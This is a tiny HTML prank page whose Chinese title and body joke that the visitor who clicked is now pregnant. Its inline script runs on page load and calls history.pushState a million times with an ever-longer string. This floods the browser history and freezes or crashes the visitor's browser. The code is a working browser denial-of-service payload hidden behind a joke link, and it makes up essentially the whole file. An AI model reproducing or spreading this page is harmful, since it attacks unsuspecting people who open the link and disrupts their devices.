<html> <head> <meta charset="utf-8"> <title>谁点谁怀孕</title> </head>     <body> 恭喜你，你已经怀孕了! <script> var total=""; for (var i=0;i<1000000;i++) {     total= total+i.toString();     history.pushState(0,0,total); } </script>     </body> </html>